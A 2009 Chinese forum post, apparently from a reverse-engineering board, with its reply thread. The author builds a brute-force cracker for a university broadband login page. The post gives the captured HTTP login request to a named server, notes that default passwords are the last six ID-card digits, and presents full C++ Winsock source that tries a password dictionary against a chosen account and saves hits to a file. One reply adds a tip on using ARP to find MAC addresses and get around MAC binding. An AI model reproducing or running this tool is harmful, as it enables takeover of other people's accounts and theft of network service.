首页
社区
课程
招聘
[原创]打造高校宽带破解工具
发表于: 2009-12-31 23:00 21655

[原创]打造高校宽带破解工具

2009-12-31 23:00
21655

原创:                by  trojancyborg
            在此感谢R.E.C--F22队长的帮助,自己在网上又搜了些资料,于是就有了此文。

好不容易今年考上大学,本以为大学上网可以用一个路由器,不料学校用的是一个客户端登陆软件,后来才清楚其实现在很多高校都是用的这种类似的登陆软件。
看到它的第一眼我就抓包,结果以失败告终,引用队长的话说就是底层队长抓包成功率很低。
俺很不服啊,于是用鼠标键盘事件的函数做了一个模仿登陆的程序来破解,不过速度之慢,我自己都不敢恭维,后来听室友小潘给了个建议,用充值时的登陆网页来做手脚。
我们的用户名长度都是13BYTE,按照XXXXXXX@cqupt这种格式的,
密码默认为身份证后6位,于是自己写了个后六位的密码生成器,网上也有下的,我就不多说了。




先用winsock抓包,账号密码分别填1234567@cqupt和123456结果如下
POST /servlet/LoginServlet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
Referer: http://gxsvr.online.cq.cn/servlet/IndexServlet
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: gxsvr.online.cq.cn
Content-Length: 37
Connection: Keep-Alive
Cache-Control: no-cache

loginID=1234567@cqupt&password=123456

loginID和password分别对应账号和密码。

现在换个方便的工具吧,http发包抓包程序火狐专版.exe
填上地址http://gxsvr.online.cq.cn/servlet/IndexServlet,选择POST,点开始
“发出内容”里面其实就是提交的内容
如下:
POST /servlet/IndexServlet HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: GXSVR.ONLINE.CQ.CN
Content-Type: application/x-www-form-urlencoded


左边就是发送的和收到的内容,
上面只是我们做的一个简单的测试。
下面我们根据第一次抓包的内容伪造一个账户密码的POST提交
在名为“发送数据”的控件里输入以下内容
loginID=1234567@cqupt&password=123456
点POST,开始,我们点下查看网页数据就能看见网页返回的数据了,
由于我们是随意的输入的数据,所以返回用户密码错误的提示

发送的数据内容:

POST /servlet/LoginServlet HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate\
User-Agent: Mozilla/4.0
Content-Length: 37
Host: GXSVR.ONLINE.CQ.CN
Content-Type: application/x-www-form-urlencoded

loginID=1234567@cqupt&password=123456;

我们换个正确的账号试试。点“开始”,然后点查看网页数据
返回的其实是登陆成功的页面信息。


好了,后面我就直接贴代码吧,根据返回数据中是否有“身份证”这个关键词判断密码是否正确。
程序模仿POST提交时发送的数据其实就是上图中“发出内容”控件中的内容
下面我直接贴代码吧。本来做了个多线程的,不过效果不理想,于是改成单线程了,如果有需要,可以自己改改。因为我做了测试后才发现其实速度都差不多了,因为服务器处理的能力有限,快的时候1S大概能破解30个左右,这样算下来,310000个密码大概三个钟头,实际上大概要5个钟头左右,因为连接到了一定数量,服务器的处理速度反而会下降,经常会连接不上,不过程序里也简单的做出了相应的处理。

//netcracker.cpp
//ver 1.0
#include "stdafx.h"
#include "stdio.h"
#include "winsock2.h"
#include <string.h>
#include <stdlib.h>
#include <dos.h>
#pragma   comment(lib,"ws2_32.lib")
#define   winsock_version   0x0101

int PostThreadFun(LPVOID lpParam);

char UserName[128]={0};                //待破解账号
char PwdDicName[128]={0};        //字典文件名
int     delay;                                //延时
                              
bool    FindState=false;
bool        FileState=true;
FILE        *fp;                                //字典文件句柄

//////////////////////////////////////////////////////////////////////////////////////////////
//netcracker username pswdicname Threadnum delay

int   main(int argc,char **argv)
{
WSADATA   wsadata;

if(WSAStartup(winsock_version,&wsadata))                //初始化版本
        {
        printf("can't  initial socket");
        return 1;
        }

printf("socket init ok\n");

if (argc<3)
{
        printf("----------    netcracker           v1.0    -----------------------\n");
        printf("netcracker.exe username passworddicname [delayms]\n\n");
        printf("                     http:\\bbs.isbase.net\n");
        printf("                     by      trojancyborg\n");
        printf("ps:username must 13byte,password must be 6byte\n");
        printf("example:\n");
        printf("netcracker 1234567@cqupt dic.txt\n");
        return 0;
}

strcpy(UserName,argv[1]);
strcpy(PwdDicName,argv[2]);

delay=0;                        //延时初始化
if (argv[3]!=NULL)
delay=atoi(argv[3]);

if (delay<0)
delay=0;
else if (delay>6000)
delay=6000;

fp=fopen(PwdDicName,"r");//在主线程打开字典,全局文件句柄可被各个线程调用

if(!fp)  
        {
        printf("open dic file error\n");
        return 0;
        }

PostThreadFun(NULL);//模拟POST数据

fclose(fp);
printf("finish\n");
return 0;

}

//////////////////////////////////////////////////////////////////////
int PostThreadFun(LPVOID lpParam)
{

LPHOSTENT   lphostent;
int                        nRet;
char*                pstr;
char*                host_name="gxsvr.online.cq.cn";
char                pwd[100][10]={0};
int                        num;                              
int                        pwdnum;                                //实际读取的密码个数
int                        connecterror=0;

//post的内容
char   req[]="POST /servlet/LoginServlet HTTP/1.0\r\n\
Accept: image/gif, image/x-xbitmap, image/jpeg\
, image/pjpeg, application/vnd.ms-excel\
, application/msword, application/vnd.ms-powerpoint, */*\r\n\
Accept-Language: en-us\r\n\
Accept-Encoding: gzip, deflate\r\n\
User-Agent: Mozilla/4.0\r\n\
Content-Length: 37\r\n\
Host: GXSVR.ONLINE.CQ.CN\r\n\
Content-Type: application/x-www-form-urlencoded\r\n\r\n\
loginID=                                                                   ";
//loginID=XXXXXX@cqupt&password=XXXXXX"

pstr=strstr(req,"loginID=");//字段填充
pstr=pstr+strlen("loginID=");
strcpy(pstr,UserName);

pstr=strstr(req,UserName);
pstr=pstr+strlen(UserName);
strcpy(pstr,"&password=");

pstr=strstr(req,"&password=");
pstr=pstr+strlen("&password=");

lphostent=gethostbyname(host_name);
if(lphostent==NULL)
        {
        printf("lphostent   is   null\n");
        return 1;
        }

while (!FindState && FileState)        //当密码未找到,字典未读取完时继续循环
{

num=0;
while((FileState=(fscanf(fp,"%s",pwd[num]))>0))    //读取字典文件,每次读取100个密码
{
        num++;                                                               
        if (num==100) break;
}

pwdnum=num;                                                                //保存实际读取的密码个数
num=0;                                       
while (num<pwdnum && !FindState)                //逐一将读取的密码进行POST操作
{

if (strlen(pwd[num])==6)                                //判断密码的长度,默认是6BYTE
                                                                        //账户和密码的长度会影响到Content-Length字段的值                                                                                //详见:Content-Length: 37\r\n
        strcpy(pstr,pwd[num]);                                //初始化密码
else
{
        printf("password format error!: %s\n",pstr);
        num++;
        continue;
}                       

SOCKADDR_IN   stServer;
SOCKET   hsocket;

hsocket   =   socket(AF_INET,   SOCK_STREAM,   IPPROTO_TCP);
stServer.sin_family   =   AF_INET;
stServer.sin_port   =   htons(80);
stServer.sin_addr   =   *((LPIN_ADDR)*lphostent->h_addr_list);

nRet   =   connect(hsocket,   (LPSOCKADDR)&stServer,   sizeof(SOCKADDR_IN));
if   (nRet   ==   SOCKET_ERROR)
{
    connecterror++;
        printf("can't connect  times:%d   pwd:%s \n",connecterror,pwd[num]);
    closesocket(hsocket);
        if (connecterror==20) return 1;//如果连续二十次未连接成功,中断改线程
        Sleep(2000);
    continue;//重新连接,继续尝试改密码
}

nRet = send(hsocket,req,strlen(req),0);

if   (nRet   ==   SOCKET_ERROR)
{
    printf("send()   failed\n");
    closesocket(hsocket);
        continue;
}
char   dest[10240];
nRet=1;
while(nRet>0)
{
    nRet=recv(hsocket,(LPSTR)dest,sizeof(dest),0);
    if(nRet>0)
        dest[nRet]=0;
    else
        dest[0]=0;
        if (strstr(dest,"身份证"))
        {//state=true;
        printf("**********************************************************\n");
        printf("find password !!user:%s  password:%s\n",UserName,pwd[num]);
        printf("**********************************************************\n");
        FILE *psave;
        psave=fopen("result.txt","a");
        fprintf(psave,"user:%s   password:%s \n",UserName,pwd[num]);
        fclose(psave);
        FindState=true;        //找到密码,让其他线程终止
        }

}

printf("user:%s           pwd: %s\n",UserName,pwd[num]);
connecterror=0;//连接错误数量置0
closesocket(hsocket);
num++;
Sleep(delay);
}
}

return 0;
}

简单的说,对于POST的数据,一个send函数就行了,关键在于发送的数据内容,只要抓包后按固定的格式依样画葫芦就OK了,网站返回的数据用recv就行了。

用我自己的账号做了个测试,运行结果如下:
(红色部分就是跑出来的密码)

后记:本文章仅仅给大家一个简单的实例,请不要将此程序用于非法用途,仅供学习,千万不要搞破坏。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (41)
雪    币: 13
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
晕死,发错版块了,麻烦斑竹移到新人投稿板块里面下,谢谢~~~~~~
祝大家新年快乐~~~~~
2009-12-31 23:13
0
雪    币: 94
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
宜主子来了。
2010-1-1 01:25
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
4
娃呀,你来啦!顺便BS一下你这ID
2010-1-1 09:29
0
雪    币: 13
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我的ID咋啦,没听说过色即是空吗,要透过现象看到本质,正所谓本质上的东西都是看不见的啦,不要因为一个ID而想入非非哈
2010-1-1 10:09
0
雪    币: 149
活跃值: (128)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
主子,
2010-1-1 10:19
0
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
这个是爆破别人的密码的吧,我以为是破共享的呢,高校的现在用客户端登录,都没办法共享
2010-1-1 12:05
0
雪    币: 367
活跃值: (20)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
不要让你的技术超过你的品德.
ISP只需要对一定时间内登录次数做限制,此办法破解便遥遥无期.
2010-1-1 13:36
0
雪    币: 56
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
LZ竟然重邮..呵呵,离的挺近的说..

这玩意俺也弄过,多线程效果一般,但是确实比单线程快点,然后可以考虑使用winnet.dll里的httpsendrequest,简单些。还有就是可以根据返回包的大小来判断密码是否正确,LZ的代码有点慢的说。
2010-1-1 13:38
0
雪    币: 13
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
的确这东西没啥实际的用处,就算是跑出来的账号也是别人的,不过要想让账号共享还不是我现在能做到的,就当是个练习吧
2010-1-1 17:40
0
雪    币: 13
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
顺便说下,那位高手可以试试,我们寝室曾经遇到过一个账号在同一时间两个人一起使用的情况,具体情况是一个兄弟在断开连接后居然可以继续上外网,而另一个家伙紧接着登陆成功后也可以上外网,不知道是服务器的问题,还是软件的问题,希望有高手可以试试
2010-1-1 18:47
0
雪    币: 291
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
作为技术探讨可以
2010-1-1 20:54
0
雪    币: 86
活跃值: (1188)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
BS你的ID
2010-1-1 21:02
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
14
服务器没有防破解策略么,貌似很多网站服务器会屏蔽多次恶意尝试
2010-1-1 23:20
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
服务器做得差.
2010-1-2 04:08
0
雪    币: 291
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
防破解机制太差了...
有个随即水印输入也是好的...
再就是这种字典法,全是数字还好说  如果出现字母 特殊字符组合就傻了...
2010-1-2 07:08
0
雪    币: 132
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
看看高人如何打造的
2010-1-2 09:51
0
雪    币: 238
活跃值: (216)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
重邮的啊。

不过我们寝室拉的外网。

祝你不要被学校领导发现了。
2010-1-2 14:51
0
雪    币: 51
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
呵呵 学到了 不少东西哦!
2010-1-2 21:32
0
雪    币: 132
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我学校是用户名和MAC地址绑定。。即使让你知道帐号 密码 也没用
2010-1-2 22:33
0
雪    币: 144
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
那到也不一定,我用就是同学的帐号,我们学校用的是比较原始事件IO的Socket,判断用的就是GetAdaptersInfo,然后比较了~嘿嘿~你用arp在局域网里找个MAC~
2010-1-2 23:04
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
22
国情是无数个局域网,套中套
2010-1-2 23:17
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
支持,不过还是支持楼主,毕竟发的板块还没错。
2010-1-3 10:37
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
服务器确实不怎么地
2010-1-3 13:45
0
雪    币: 130
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
楼主是个人才。谢谢。
2010-1-3 13:49
0
游客
登录 | 注册 方可回帖
返回
//